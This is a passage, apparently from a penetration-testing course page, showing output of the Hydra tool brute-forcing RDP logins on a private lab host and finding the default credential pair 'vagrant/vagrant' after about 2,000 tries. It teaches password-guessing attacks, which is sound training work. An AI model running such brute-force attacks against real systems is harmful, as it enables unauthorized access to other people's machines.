  23. 21.  \[WARNING\] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
  24. 22.  \[INFO\] Reduced number of tasks to 4 (rdp does not like many parallel connections)
  25. 23.  \[WARNING\] the rdp module is experimental. Please test, report - and if possible, fix.
  26. 24.  \[DATA\] max 4 tasks per 1 server, overall 4 tasks, 2058 login tries (l:1/p:2058), ~515 tries per task
  27. 25.  \[DATA\] attacking rdp:
  28. 26.  \[3389\]\[rdp\] host: 192.168.10.145   login: vagrant   password: vagrant
  29. 27.  1 of 1 target successfully completed, 1 valid password found
  30. 28.  Hydra (https:

https://tts.tmooc.cn/ttsPage/NTD/NTDTN202109/PENTEST/DAY02/CASE/01/index.html